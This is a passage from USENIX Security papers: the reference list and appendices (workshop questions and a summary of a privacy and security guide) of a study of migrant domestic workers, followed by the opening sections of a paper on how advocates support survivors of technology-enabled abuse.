Human Factors in Computing Systems (CHI): Extended Abstracts,
pages 1–9, New York, NY, USA, 2020.

[25] Eun Kyoung Choe, Sunny Consolvo, Jaeyeon Jung, Beverly Harrison,
Shwetak N. Patel, and Julie A. Kientz. Investigating receptive-
ness to sensing and inference in the home using sensor proxies. In
ACM Conference on Ubiquitous Computing (UbiComp), pages 61–70,
2012.

[26] Ian Clark. The digital divide in the post-Snowden era. Journal of
Radical Librarianship, 2, March 2016.

[27] Camille Cobb, Milijana Surbatovich, Anna Kawakami, Mahmood
Sharif, Lujo Bauer, Anupam Das, and Limin Jia. How risky are real
users’ IFTTT applets? In USENIX Symposium on Usable Privacy
and Security (SOUPS), pages 505–529, August 2020.

[28] Kimberle Crenshaw. Mapping the margins: Intersectionality, identity
politics, and violence against women of color. Stan. L. Rev., 43:1241–
1299, 1991.

[29] Dana Cuomo and Natalie Dolci. Gender-based violence and
technology-enabled coercive control in Seattle: Challenges and op-
portunities. TECC Whitepaper Series, 2019.

[30] Tamara Denning, Zakariya Dehlawi, and Tadayoshi Kohno. In situ
with bystanders of augmented reality glasses: Perspectives on record-
ing and privacy-mediating technologies. In ACM Conference on
Human Factors in Computing Systems (CHI), pages 2377–2386, New
York, NY, USA, 2014.

[31] Rajib Dey, Sayma Sultana, Afsaneh Razi, and Pamela J. Wisniewski.
Exploring smart home device use by Airbnb hosts. In ACM Con-
ference on Human Factors in Computing Systems (CHI): Extended
Abstracts, pages 1–8, New York, NY, US, 2020.

336    31st USENIX Security Symposium USENIX Association



[32] Leen d’Haenens and Christine Ogan. Internet-using children and
digital inequality: A comparison between majority and minority Euro-
peans. Communications – The European Journal of Communication
Research, 38(1):41–60, 2013.

[33] Ame Elliott and Sara Brody. Straight talk: New yorkers on mobile
messaging and implications for privacy. Technical report, 2015.
Accessed: 10 December, 2018.

[34] Barrett Ens, Tovi Grossman, Fraser Anderson, Justin Matejka, and
George Fitzmaurice. Candid interaction: Revealing hidden mobile
and wearable computing activities. In ACM Symposium on User
Interface Software & Technology (UIST), pages 467–476, Charlotte,
NC, USA, 2015.

[35] Cori Faklaris, Francesco Cafaro, Asa Blevins, Matthew A O’Haver,
and Neha Singhal. A snapshot of bystander attitudes about mobile
live-streaming video in public settings. In Informatics, volume 7,
page 10. Multidisciplinary Digital Publishing Institute, 2020.

[36] Jonathan Follett. Designing for emerging technologies: UX for
genomics, robotics, and the Internet of Things. O’Reilly Media, Inc.,
2014.

[37] Organization for Security and Cooperation in Europe (OSCE). Un-
protected work, invisible exploitation: Trafficking for the purpose of
domestic servitude: https://www.osce.org/secretariat/75804, 2011.

[38] The Joint Council for the Welfare of Immigrants (JCWI). The
hostile environment explained: https://www.jcwi.org.uk/the-hostile-
environment-explained, 2020.

[39] Diana Freed, Sam Havron, Emily Tseng, Andrea Gallardo, Rahul
Chatterjee, Thomas Ristenpart, and Nicola Dell. “Is my phone
hacked?” Analyzing clinical computer security interventions with
survivors of intimate partner violence. Proceedings of the ACM on
Human-Computer Interaction, 3(CSCW), 11 2019.

[40] Diana Freed, Jackeline Palmer, Diana Minchala, Karen Levy, Thomas
Ristenpart, and Nicola Dell. “A stalker’s paradise”: How intimate
partner abusers exploit technology. In ACM Conference on Human
Factors in Computing Systems (CHI), pages 1–13, New York, NY,
USA, 2018.

[41] Alisa Frik, Julia Bernd, Noura Alomar, and Serge Egelman. A
qualitative model of older adults’ contextual decision-making about
information sharing. In Workshop on the Economics of Information
Security (WEIS), 2020.

[42] Alisa Frik, Leysan Nurgalieva, Julia Bernd, Joyce Lee, Florian Schaub,
and Serge Egelman. Privacy and security threat models and mitigation
strategies of older adults. In USENIX Symposium on Usable Privacy
and Security (SOUPS), Santa Clara, CA, USA, 2019.

[43] Maria Gallotti. Migrant domestic workers across the world: Global
and regional estimates. International Labour Organization (ILO),
2015.

[44] Jon P. Gant, Nicole E. Turner-Lee, Ying Li, and Joseph S. Miller. Na-
tional minority broadband adoption: Comparative trends in adoption,
acceptance and use. Technical report, Joint Center for Political and
Economic Studies, Washington, DC, USA, February 2010.

[45] Vaibhav Garg, L. Jean Camp, Lesa Lorenzen-Huber, Kalpana Shankar,
and Kay Connelly. Privacy concerns in assisted living technologies.
Annals of Telecommunications, 69(1):75–88, 2014.

[46] Bev Gatenby and Maria Humphries. Feminist participatory action
research: Methodological and ethical issues. Women’s Studies Inter-
national Forum, 23, 1 2000.

[47] Jun Ge. Observers’ privacy concerns about wearable cameras. Mas-
ter’s thesis, Pennsylvania State University, 2016. Masters thesis.

[48] Christine Geeng, Mike Harris, Elissa Redmiles, and Franziska Roes-
ner. “Like lesbians walking the perimeter”: Experiences of U.S.
LGBTQ+ folks with online security, safety, and privacy advice. In
USENIX Security Symposium (USENIX Security), Boston, MA, USA,
August 2022.

[49] Marco Ghiglieri, Melanie Volkamer, and Karen Renaud. Exploring
consumers’ attitudes of smart TV related privacy risks. In Interna-
tional Conference on Human Aspects of Information Security, Privacy,
and Trust (HAS), Lecture Notes in Computer Science, pages 656–674.
Springer, 2017.

[50] Maya Goodfellow. Hostile environment: How immigrants became
scapegoats, volume 1. Verso Books, 2 edition, 2020.

[51] Stacey Gray. Always on: Privacy implications of microphone-enabled
devices. Technical report, Future of Privacy Forum, April 2016.

[52] Rebecca Green and Michele Gilman. The surveillance gap: The
harms of extreme privacy and data marginalization. NYU Review of
Law & Social Change, 42, 2020.

[53] Tamy Guberek, Allison McDonald, Sylvia Simioni, Abraham H.
Mhaidli, Kentaro Toyama, and Florian Schaub. Keeping a low profile?
Technology, risk and privacy among undocumented immigrants. In
ACM Conference on Human Factors in Computing Systems (CHI),
pages 1–15, New York, NY, USA, 2018.

[54] Eszter Hargittai and Eden Litt. New strategies for employment?
Internet skills and online privacy practices during people’s job search.
IEEE Security & Privacy, 11(3):38–45, May 2013.

[55] Bridget A. Harris and Delanie Woodlock. Digital coercive control:
Insights from two landmark domestic violence studies. The British
Journal of Criminology, 59:530–550, April 2019.

[56] Claude PR. Heath, Peter A. Hall, and Lizzie Coles-Kemp. Holding on
to dissensus: Participatory interactions in security design. Strategic
Design Research Journal, 11, 2018.

[57] Chris Hoffman. What is an “evil maid” attack, and what does it teach
us? How-To Geek, 2020.

[58] Dominik Hornung, Claudia Müller, Irina Shklovski, Timo Jakobi, and
Volker Wulf. Navigating relationships and boundaries: Concerns
around ICT-uptake for elderly people. In ACM Conference on Human
Factors in Computing Systems (CHI), pages 7057–7069, New York,
NY, USA, 2017.

[59] Roberto Hoyle, Robert Templeman, Steven Armes, Denise Anthony,
David Crandall, and Apu Kapadia. Privacy behaviors of lifeloggers
using wearable cameras. In ACM International Joint Conference on
Pervasive and Ubiquitous Computing (UbiComp), pages 571–582,
New York, NY, USA, 2014.

[60] Yue Huang, Borke Obada-Obieh, and Konstantin Beznosov. End
users’ information-sharing behaviours and preferences within a multi-
user smart home. In USENIX Symposium on Usable Privacy and
Security (SOUPS), 2020. Poster.

[61] Information Commissioner’s Office (ICO). Domestic CCTV sys-
tems - guidance for people using CCTV: https://ico.org.uk/your-data-
matters/domestic-cctv-systems-guidance-for-people-using-cctv, De-
cember 2021.

[62] International Labour Organization (ILO). Convention C189 - domes-
tic workers convention, 2011 (no. 189), 2011.

[63] Mark Johnson, Maggy Lee, Michael McCahill, and Ma Rosalyn
Mesina. Beyond the ‘all seeing eye’: Filipino migrant domestic
workers’ contestation of care and control in Hong Kong. Ethnos, 85,
2020.

[64] Kalayaan. Dignity, not destitution: The impact of differential rights of
work for migrant domestic workers referred to the National Referral
Mechanism: http://www.kalayaan.org.uk/campaign-posts/dignity-not-
destitution-the-impact-of-differential-rights-of-work-for-migrant-
domestic-workers-in-the-national-referral-mechanism/, 2019.

[65] Marion Koelle, Wilko Heuten, and Susanne Boll. Are you hiding it?:
Usage habits of lifelogging camera wearers. In ACM International
Conference on Human-Computer Interaction with Mobile Devices
and Services (MobileHCI), pages 80:1–80:8, New York, NY, USA,
2017.

USENIX Association 31st USENIX Security Symposium    337



[66] Marion Koelle, Katrin Wolf, and Susanne Boll. Beyond LED status
lights: Design requirements of privacy notices for body-worn cam-
eras. In ACM International Conference on Tangible, Embedded, and
Embodied Interaction (TEI), pages 177–187, New York, NY, USA,
2018.

[67] Omead Kohanteb, Owen Tong, Heidi Yang, T Saensuksopa, and Saba
Kazi. Decoding sensors: Creating guidelines for designing connected
devices. Technical report, Carnegie Mellon University, Summer 2015.
Accessed: 7 March, 2018.

[68] Marc Langheinrich. A privacy awareness system for ubiquitous
computing environments. In ACM International Joint Conference
on Pervasive and Ubiquitous Computing (UbiComp), pages 237–245,
London, UK, 2002.

[69] Hosub Lee and Alfred Kobsa. Understanding user privacy in Internet
of Things environments. In IEEE World Forum on Internet of Things
(WF-IoT), pages 407–412, December 2016.

[70] Linda Lee, Joong Hwa Lee, Serge Egelman, and David Wagner. In-
formation disclosure concerns in the age of wearable computing. In
NDSS Workshop on Usable Security (USEC). Internet Society, 2016.

[71] Roxanne Leitão. Digital technologies and their role in intimate partner
violence. In ACM Conference on Human Factors in Computing
Systems (CHI): Extended Abstracts, New York, NY, USA, 2018.

[72] Roxanne Leitão. Anticipating smart home security and privacy threats
with survivors of intimate partner abuse. In ACM Conference on
Designing Interactive Systems (DIS), page 527–539, New York, NY,
USA, 2019.

[73] Isabel Lopez-Neira, Trupti Patel, Simon Parkin, George Danezis, and
Leonie Tanczer. ‘Internet of Things’: How abuse is getting smarter.
Safe - The Domestic Abuse Quarterly, 2019.

[74] Deborah Lupton. Self-tracking cultures: Towards a sociology of
personal informatics. In ACM Australian Computer-Human Interac-
tion Conference on Designing Futures: The Future of Design, pages
77–86, New York, NY, USA, 2014.

[75] Mary Madden, Michele E. Gilman, Karen Levy, and Alice E. Mar-
wick. Privacy, poverty, and big data: A matrix of vulnerabilities for
poor Americans. Washington University Law Review, 95(1):53–125,
2017.

[76] Mary Madden and Lee Rainie. Americans’ attitudes about privacy,
security, and surveillance. Technical report, Pew Research Center,
May 2015. Accessed: 9 February, 2018.

[77] Nathan Malkin, Julia Bernd, Maritza Johnson, and Serge Egelman.
“What can’t data be used for?” Privacy expectations about smart TVs
in the U.S. In European Workshop on Usable Security (EuroUSEC),
London, UK, 2018.

[78] Nathan Malkin, Joe Deatrick, Allen Tong, Primal Wijesekera, Serge
Egelman, and David Wagner. Privacy attitudes of smart speaker
users. Proceedings on Privacy Enhancing Technologies (PoPETs),
2019(4):250–271, 2019.

[79] Lev Manovich. Trending: The promises and the challenges of big
social data, pages 460–475. The University of Minnesota Press,
Minneapolis, MN, USA, 2011.

[80] Shrirang Mare, Franziska Roesner, and Tadayoshi Kohno. Smart
devices in Airbnbs: Considering privacy and security for both guests
and hosts. Proceedings on Privacy Enhancing Technologies (PoPETs),
2020(2):436 – 458, 2020.

[81] Karola Marky, Sarah Prange, Florian Krell, Max Mühlhäuser, and
Florian Alt. “You just can’t know about everything”: Privacy percep-
tions of smart home visitors. In International Conference on Mobile
and Ubiquitous Multimedia (MUM), pages 83–95, 2020.

[82] Nora McDonald, Karla Badillo-Urquiola, Morgan G. Ames, Nicola
Dell, Elizabeth Keneski, Manya Sleeper, and Pamela J. Wisniewski.

Privacy and power: Acknowledging the importance of privacy re-
search and design for vulnerable populations. In ACM Conference
on Human Factors in Computing Systems (CHI): Extended Abstracts,
New York, NY, US, 2020.

[83] Simon Moncrieff, Svetha Venkatesh, and Geoff West. Dynamic pri-
vacy in a smart house environment. In IEEE International Conference
on Multimedia and Expo (ICME), pages 2034–2037, 2007.

[84] Frances Montell. Focus group interviews: A new feminist method.
NWSA Journal, 11, 1999.

[85] Pardis Emami Naeini, Sruti Bhagavatula, Hana Habib, Martin
Degeling, Lujo Bauer, Lorrie Faith Cranor, and Norman Sadeh. Pri-
vacy expectations and preferences in an IoT world. In USENIX
Symposium on Usable Privacy and Security (SOUPS), pages 399–
412, Santa Clara, CA, 2017.

[86] Ali Asghar Nazari Shirehjini and Azin Semsar. Human interaction
with IoT-based smart environments. Multimedia Tools and Applica-
tions, 76(11):13343–13365, 2017.

[87] Carman Neustaedter and Saul Greenberg. The design of a context-
aware home media space for balancing privacy and awareness. In
ACM International Joint Conference on Pervasive and Ubiquitous
Computing (UbiComp), pages 297–314. Springer, 2003.

[88] Home Office. Domestic workers who are victims of modern slavery -
caseworker guidance, 2021.

[89] Jeungmin Oh and Uichin Lee. Exploring UX issues in quantified self
technologies. In International Conference on Mobile Computing and
Ubiquitous Networking (ICMU), pages 53–59, 2015.

[90] Yong Jin Park. Digital literacy and privacy behavior online. Commu-
nication Research, 40(2):215–236, 2013.

[91] Simon Parkin, Trupti Patel, Isabel Lopez-Neira, and Leonie Tanczer.
Usability analysis of shared device ecosystem security: Informing
support for survivors of IoT-facilitated tech-abuse. In New Security
Paradigms Workshop (NSPW), pages 1–15, 2019.

[92] Scott R. Peppet. Regulating the Internet of Things: First steps toward
managing discrimination, privacy, security and consent. Texas Law
Review, 93:85–178, 2014.

[93] James Pierce, Sarah Fox, Nick Merrill, and Richmond Wong. Differ-
ential vulnerabilities and a diversity of tactics: What toolkits teach us
about cybersecurity. Proceedings of the ACM on Human-Computer
Interaction, 2(CSCW):139:1–139:24, November 2018.

[94] James Pierce, Richmond Y. Wong, and Nick Merrill. Sensor illumi-
nation: Exploring design qualities and ethical implications of smart
cameras and image/video analytics. In ACM Conference on Human
Factors in Computing Systems (CHI), pages 1–19, New York, NY,
USA, 2020.

[95] Alexander Ponticello. Towards secure and usable authentication for
voice-controlled smart home assistants. PhD thesis, TU Wien, 2020.

[96] Halley Profita, Reem Albaghli, Leah Findlater, Paul Jaeger, and
Shaun K. Kane. The AT effect: How disability affects the per-
ceived social acceptability of head-mounted display use. In ACM
Conference on Human Factors in Computing Systems (CHI), pages
4884–4895, New York, NY, USA, 2016.

[97] Amreen Qureshi, Marley Morris, and Lucy Mort. Access denied: The
human impact of the hostile environment | IPPR, 2020.

[98] Lee Rainie and Janna Anderson. The future of privacy. Technical
report, Pew Research Center, December 2014. Accessed: 17 July,
2018.

[99] Laura Robinson and Brian K. Gran. No kid is an island: Privacy
scarcities and digital inequalities. American Behavioral Scientist,
2018.

338    31st USENIX Security Symposium USENIX Association



[100] Ignacio Rodríguez-Rodríguez, José-Víctor Rodríguez, Aránzazu
Elizondo-Moreno, Purificación Heras-González, and Michele Gen-
tili. Towards a holistic ICT platform for protecting intimate partner
violence survivors based on the IoT paradigm. Symmetry, 12(1):37,
2020.

[101] Claire Rowland. UX and service design for connected
products: https://iotuk.org.uk/wp-content/uploads/2018/06/ux-and-
service-design-iotuk.pdf, June 2018.

[102] Joanna Rutkowska. Evil maid goes after true-
crypt!, 2009. The Invisible Things Lab’s blog:
https://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-
after-truecrypt.html.

[103] Natalie Sedacca. Migrant domestic workers and the right to a private
and family life. Netherlands Quarterly of Human Rights, 37, 2019.

[104] Avril Sharp. Comment: Victims of slavery are trapped in
destitution by right to work restrictions - free movement:
https://www.freemovement.org.uk/national-referral-mechanism-
right-to-work-restrictions.

[105] Lucy Simko, Ada Lerner, Samia Ibtasam, Franziska Roesner, and
Tadayoshi Kohno. Computer security and privacy for refugees in the
United States. In IEEE Symposium on Security and Privacy (SP),
pages 409–423, 2018.

[106] Samarth Singhal, Carman Neustaedter, Thecla Schiphorst, Anthony
Tang, Abhisekh Patra, and Rui Pan. You are being watched: By-
standers’ perspective on the use of camera devices in public spaces.
In ACM Conference on Human Factors in Computing Systems (CHI):
Extended Abstracts, pages 3197–3203, New York, NY, USA, 2016.

[107] Manya Sleeper, Sebastian Schnorf, Brian Kemler, and Sunny Con-
solvo. Attitudes toward vehicle-based sensing and recording. In ACM
International Joint Conference on Pervasive and Ubiquitous Comput-
ing (UbiComp), pages 1017–1028, New York, NY, USA, 2015.

[108] Julia Slupska, Scarlet Dawson Dawson Duckworth, Linda Ma, and
Gina Neff. Participatory threat modelling: Exploring paths to re-
configure cybersecurity. In ACM Conference on Human Factors in
Computing Systems (CHI): Extended Abstracts, New York, NY, US,
2021.

[109] Julia Slupska and Angelika Strohmayer. Networks of care: Tech
abuse advocates’ digital security practices. In USENIX Security
Symposium (USENIX Security), Boston, MA, USA, August 2022. To
appear.

[110] Yunpeng Song, Yun Huang, Zhongmin Cai, and Jason I. Hong. I’m
all eyes and ears: Exploring effective locators for privacy awareness in
IoT scenarios. In ACM Conference on Human Factors in Computing
Systems (CHI), pages 1–13, New York, NY, USA, 2020.

[111] Angelika Strohmayer, Jenn Clamen, and Mary Laing. Technologies
for social justice: Lessons from sex workers on the front lines. In
ACM Conference on Human Factors in Computing Systems (CHI),
page 1–14, New York, NY, USA, 2019.

[112] Michael Onuoha Thomas, Beverly Amunga Onyimbo, and Rajasvaran
Logeswaran. Usability evaluation criteria for Internet of Things. In-
ternational Journal of Information Technology and Computer Science
(IJITCS), 8(12):10–18, 2016.

[113] Joseph Turow, Lauren Feldman, and Kimberly Meltzer. Open to
exploitation: America’s shoppers online and offline. Technical report,
Annenberg Public Policy Center of the University of Pennsylvania,
June 2005. Accessed: 3 June, 2015.

[114] Joseph Turow, Michael Hennessy, and Nora Draper. The tradeoff
fallacy: How marketers are misrepresenting American consumers
and opening them up to exploitation. Technical report, Annenberg
Public Policy Center of the University of Pennsylvania, June 2015.
Accessed: 24 February, 2018.

[115] Joseph Turow, Michael Hennessy, Nora Draper, Ope Akanbi, and
Diami Virgilio. Divided we feel: Partisan politics drive Americans’
emotions regarding surveillance of low-income population. Technical
report, Annenberg School for Communication at the University of
Pennsylvania, 2018. Accessed: 24 December, 2018.

[116] UNICEF. Good governance of children’s data | UNICEF Office of
Global Insight & Policy: https://www.unicef.org/globalinsight/good-
governance-childrens-data.

[117] John Vines, Stephen Lindsay, Gary W. Pritchard, Mabel Lie, David
Greathead, Patrick Olivier, and Katie Brittain. Making family care
work: Dependence, privacy and remote home monitoring telecare
systems. In ACM International Joint Conference on Pervasive and
Ubiquitous Computing (UbiComp), pages 607–616, 2013.

[118] Nina Wallerstein, Michael Muhammad, Shannon Sanchez-Youngman,
Patricia Rodriguez Espinosa, Magdalena Avila, Elizabeth A. Baker,
Steven Barnett, Lorenda Belone, Maxine Golub, Julie Lucero, Ihsan
Mahdi, Emma Noyes, Tung Nguyen, Yvette Roubideaux, Robin
Sigo, and Bonnie Duran. Power dynamics in community-based
participatory research: A multiple–case study analysis of partnering
contexts, histories, and practices. Health Education and Behavior,
46, 2019.

[119] Xin Wang. The content security mechanism of smart TV broadcasting
operating system. Open Access Library Journal, 2(11), 2015.

[120] Yang Wang, Huichuan Xia, Yaxing Yao, and Yun Huang. Flying
eyes and hidden controllers: A qualitative study of people’s privacy
perceptions of civilian drones in the US. Proceedings on Privacy
Enhancing Technologies (PoPETs), 2016(3):172 – 190, 2016.

[121] Frances Webber. On the creation of the UK’s ‘hostile environment’.
Race & Class, 60(4):76–87, April 2019.

[122] Meredydd Williams, Jason R. C. Nurse, and Sadie Creese. “Privacy
is the boring bit”: User perceptions and behaviour in the Internet-of-
Things. In IEEE Annual Conference on Privacy, Security and Trust
(PST), August 2017.

[123] Charlie Wilson, Tom Hargreaves, and Richard Hauxwell-Baldwin.
Smart homes and their users: A systematic analysis and key challenges.
Personal and Ubiquitous Computing, 19(2):463–476, February 2015.

[124] Charlie Wilson, Tom Hargreaves, and Richard Hauxwell-Baldwin.
Benefits and risks of smart home technologies. Energy Policy, 103:72–
83, April 2017.

[125] Todd Wolfson, Ursula Elin Huws, James M. Farrar, and Yaseen
Aslam. ‘Alongside but not in front’: Reflections on engagement,
disengagement and ethics in action research with workers. Work
Organisation, Labour & Globalisation, 2022.

[126] Yaxing Yao, Justin Reed Basdeo, Smirity Kaushik, and Yang Wang.
Defending my castle: A co-design study of privacy mechanisms for
smart homes. In ACM Conference on Human Factors in Computing
Systems (CHI), pages 1–12, New York, NY, USA, May 2019.

[127] Yaxing Yao, Justin Reed Basdeo, Oriana Rosata Mcdonough, and
Yang Wang. Privacy perceptions and designs of bystanders in smart
homes. Proceedings of the ACM on Human-Computer Interaction,
3(CSCW):1–24, November 2019.

[128] Yaxing Yao, Huichuan Xia, Yun Huang, and Yang Wang. Free to fly
in public spaces: Drone controllers’ privacy perceptions and practices.
In ACM Conference on Human Factors in Computing Systems (CHI),
pages 6789–6793, New York, NY, USA, 2017.

[129] Yaxing Yao, Huichuan Xia, Yun Huang, and Yang Wang. Privacy
mechanisms for drones: Perceptions of drone controllers and by-
standers. In ACM Conference on Human Factors in Computing
Systems (CHI), pages 6777–6788, New York, NY, USA, 2017.

[130] Mengmei Ye, Nan Jiang, Hao Yang, and Qiben Yan. Security analysis
of Internet-of-Things: A case study of August smart lock. IEEE
Conference on Computer Communications Workshops (INFOCOM
WKSHPS), 2017.

USENIX Association 31st USENIX Security Symposium    339



[131] Colin Yeo. The hostile environment: What is it and who does it af-
fect? | New Europeans: https://neweuropeans.net/article/1927/hostile-
environment-what-it-and-who-does-it-affect, 2017.

[132] Eric Zeng, Shrirang Mare, and Franziska Roesner. End user security
and privacy concerns with smart homes. In USENIX Symposium on
Usable Privacy and Security (SOUPS), pages 65–80, Santa Clara, CA,
2017.

[133] Eric Zeng and Franziska Roesner. Understanding and improving
security and privacy in multi-user smart homes: A design exploration
and in-home user study. In USENIX Security Symposium (USENIX
Security), pages 159–176, Santa Clara, CA, August 2019.

[134] Kai Zhao and Lina Ge. A survey on the Internet of Things security. In
International Conference on Computational Intelligence and Security
(CIS), pages 663–667, 2013.

[135] Nicole Zillien and Eszter Hargittai. Digital distinction: Status-specific
types of Internet usage. Social Science Quarterly, 90(2):274–291,
2009.

Appendix A: Workshop questions
The topics discussed in the workshops were as follows:

ASSETS:

1. What kinds of social media or communication technology do you use?

2. How do you feel about using social media and communication tech-
nology?

3. What parts of your data or information do you most want to protect?

4. What does being safe mean to you?

THREATS:
1. What are the main threats to your safety, privacy, and security (e.g.,

threats faced online or in your workplace)?

2. Have you ever worked in a house where there was a camera or some
type of a monitoring device? If yes, how did you find out about it?
How did you feel about it?

3. Are you worried about being watched online? If so, by who and why?

MITIGATIONS:
1. What advice would you give other MDWs to stay safe online?

2. What parts of your safety do you most want to improve?

3. Do you have any questions you want to ask us?

4. What kind of support do you need to be safe?

Appendix B: Digital privacy and security guide
Based on the findings of our five workshops with MDWs in the UK, we
developed a digital privacy and security guide. The guide serves as an
educational/support platform for MDWs in the UK and other countries, to
protect their on- and offline privacy and keep themselves safe. The guide is
divided into six main sections. We first explain the guide and its purpose;
provide general digital privacy and security advice; describe three main
types of privacy threats identified by our MDW participants who took part
in our workshops (one section is dedicated to each threat type): government
surveillance, online scams and harassment, and employer monitoring; and
conclude by arguing that our computer security and privacy community
must take into account intersecting forms of marginalisation (due in part to
different levels of social and economic power) as well as the broader social
structures that foster insecurity. The guide also includes links to further
resources that domestic workers can refer to when in need of protection.

About the guide. The first section of the guide explains its purpose:
providing general information and advice on how MDWs can protect their
privacy and safety. The guide is not a substitute for legal advice. The section

also describes the academic institutions and grassroots organisations involved
in developing this guide.

General digital privacy and security guide. The second section of the
guide provides general advice on how to protect domestic workers’ digital
privacy and security. The advice includes thinking about and checking the
links (and files) before clicking on (downloading) them, configuring the
privacy settings of their online social accounts, and securing their online
accounts and devices using a set of mechanisms and tools. This section
includes resources and links explaining the steps that workers could find
useful to achieve the above.

Immigration and government surveillance. The third section describes
the first main threat identified by our MDW participants: government surveil-
lance. Many participants reported a fear of government institutions, specif-
ically the Home Office and the police, due to the power these structures
had over their immigration status and that of other workers. This section
provides information about workers’ rights with regard to accessing health-
care services like the NHS and seeking protection from excessive policing.
It explains practical steps that domestic workers can take to protect their
privacy and human rights (e.g., joining grassroots organisations and unions,
contacting legal aid organisations and law centres), what to do if immigration
officers or the police stopped them to enquire about their immigration sta-
tus, and what resources they can use to access healthcare services, get legal
advice, and navigate the Home Office hostile environment.

Online scams and harassment. The fourth section explains the second
threat type described by our participants: scams, identity theft, and harass-
ment. MDWs can be specifically targeted by scams due to their immigration
status; e.g., scammers might offer fake job opportunities or threaten to report
workers to the Home Office. This section provides useful resources as well
as customised advice on how domestic workers can recognise scams, get
their money after they have been scammed, and how to protect themselves
from identity theft and online harassment.

Employer monitoring. Constant CCTV surveillance of employ-
ees/workers or social media stalking can be a huge threat to domestic workers’
privacy and security. The fifth section describes workers’ legal rights with
regard to what employers can and cannot do. It also provides practical ad-
vice on how to protect from employer monitoring, such as avoiding adding
employers as friends on social media, identifying where cameras and other
monitoring devices are located in their workplace, and having a conversation
with their employers about the purpose and use of cameras.

Broader changes. The final section of the guide argues that domestic
workers should not be blamed for the digital privacy and security threats we
described in this guide. Our computer security and privacy community, the
government, and employers have their own responsibilities for protecting
the safety and privacy of workers. The computer security and privacy com-
munity must consider intersecting forms of marginalisation as well as the
broader social structures that foster insecurity. The government needs to work
with grassroots organisations including VoDW to improve the conditions
of workers in the UK, create a safe environment, and protect their human
rights. Employers need to understand and respect domestic workers’ right
to privacy and safety, and refrain from excessive monitoring. The section
concludes with useful contacts that domestic workers can use when in need
of protection.
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Abstract
As technology becomes an enabler of relationship abuse and
coercive control, advocates who support survivors develop
digital security practices to counter this. Existing research on
technology-related abuse has primarily focused on describ-
ing the dynamics of abuse and developing solutions for this
problem; we extend this literature by focusing on the secu-
rity practices of advocates working “on the ground”, i.e. in
domestic violence shelters and other support services. We
present findings from 26 semi-structured interviews and a
data walkthrough workshop in which advocates described
how they support survivors. We identified a variety of inter-
twined emotional and technical support practices, including
establishing trust, safety planning, empowerment, demystifi-
cation, supporting evidence collection and making referrals.
By building relationships with other services and stakeholders,
advocates also develop networks of care throughout society
to create more supportive environments for survivors. Using
critical and feminist theories, we see advocates as sources of
crucial technical expertise to reduce this kind of violence in
the future. Security and privacy researchers can build on and
develop these networks of care by employing participatory
methods and expanding threat modelling to account for inter-
personal harms like coercive control and structural forms of
discrimination such as misogyny and racism.

1 Introduction

Technologies and digital systems are being incorporated
into existing patterns of abuse to harm intimate partners
and strangers alike. Sometimes these technologies are built
specifically for this purpose (e.g. the case of “stalkerware”
apps [12]), but more often perpetrators of this violence use
mundane, everyday technologies to control, coerce, or harm
their victims [26]. Advocates and support organisations have
developed strategies that counter this abuse and support sur-
vivors in developing digital safety practices.

Security researchers have started to discuss technology-
enabled abuse in intimate relationships (often shortened to

‘tech abuse’) and other forms of coercive control [12, 34, 44,
75]. For example, many researchers (both within and outside
of security studies) have (1) built an understanding the dy-
namics of tech abuse and (2) developed solutions that aim
to reduce this kind of violence. Both of these kinds of work
often jump to conclusions about what security researchers,
developers, or designers can do to tackle this issue. However,
it is seldom that we examine what is already going on outside
our field to learn from the expertise of those who have been
doing this work for a long time. With this paper, we counter
this tendency and instead bring lenses of care and empower-
ment into security discourse based on the security work of
advocates who support victim-survivors1 of tech abuse.

To carry out our analysis, we first need to understand the
boundaries of what security research can and cannot do, and
extend the frame of reference we have about violence and
technologies within the security community. We draw on two
areas of security research: (1) critical security studies and (2)
feminist security studies. Both these areas focus on the power
dynamics inherent in security practices. Critical security stud-
ies draw on disciplines like sociology and anthropology to
question the underlying logic of security, arguing security is
often used as a justification for imposing control in a way that
can limit peoples’ rights or freedoms and lead to authoritari-
anism [15, 50, 58, 61]. Feminist security studies on the other
hand shifts our focus away from technical systems, hackers, or
the military, and asks us to think at the level of interpersonal
security and how social relationships can be sources of both
security and insecurity [40].

Using these two frames of understanding security research,
we understand that while technical security provides useful
insights into some aspects of tech abuse, solutions such as
policy change or wider awareness of the relationship between
violence and oppressive structures such as patriarchy and vio-
lence can be more useful. As such, this paper raises questions

1We use this terminology as a way of being inclusive in our language. It is
a phrase used in violence research to account for peoples’ diverse experiences
of violence - some may prefer the term victim while others prefer the term
survivor as people may be uncomfortable with either.
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about privacy and security research and provides pathways
for future research.

This paper responds to the need for more nuanced empirical
work on existing security practices in the context of services
for survivors of coercive control. In doing so, we contribute
to privacy and security research in three ways: (1) we expand
the field’s understanding of technical support by highlighting
the ways it is intertwined with emotional and psychological
support; (2) using critical and feminist theories, we question
conventional understandings of security by adding the no-
tion of care work and relationship-building as integral to the
work of security experts; and (3) we redefine technical exper-
tise in security, including knowledge from experiences of on-
the-ground support workers and advocates. These theoretical
shifts also have more immediate implications privacy and se-
curity research, such as a need for more participatory research
with practitioners who support survivors of violence, and ex-
panding threat modelling to include interpersonal harms like
coercive control and structural forms of discrimination such
as misogyny and racism.

Below, we provide an overview of the literature in security
and related fields: first, we describe technology-enabled co-
ercive control, second, we outline solutions that have been
developed to respond to this kind of violence, and finally,
we highlight why it is important to empirically study exist-
ing responses to this kind of insecurity. We then present our
research methods, including information about our partici-
pants and our standpoints as researchers. Following this, we
present our findings related to existing support practices, the
importance of understanding care as a network, and detail the
recommendations for change needed in security technologies
and practices that advocates have outlined in the interviews.
We conclude with implications for privacy and security re-
search.

2 Background and related work

Conventionally, information security research focuses on de-
fending computer and information systems, and often omits
more interpersonal types of harm, abuse, or violence me-
diated through technologies [57]. Although these forms of
tech abuse were seldom discussed in information security
research, there has been a recent wave of academic interest
in this subject. Most research in this space can roughly be
divided into two categories: (1) describing the problem of
tech abuse [25, 26, 33, 36, 48], and (2) prescribing, develop-
ing, and evaluating solutions that aim to support survivors
and prevent abuse [24, 34, 39, 43, 44, 52, 59]. Our study con-
tributes to a third category of work which is often (although
not always [19, 65]) omitted: studying and learning from ex-
perts who are already addressing this problem by supporting
survivors of tech abuse.

2.1 Defining technology-enabled abuse
Technology-enabled abuse describes the deliberate use of
technologies or systems to scare, harass, coerce or stalk some-
one. These forms of abuse are also sometimes referred to as
digital or technology-enabled coercive control, cyberviolence,
or digital abuse. These terms are often used interchangeably,
but they refer to slightly different phenomena. For example,
digital coercive control references “coercive control,” which
is a pattern of behaviour that is designed to assert influence
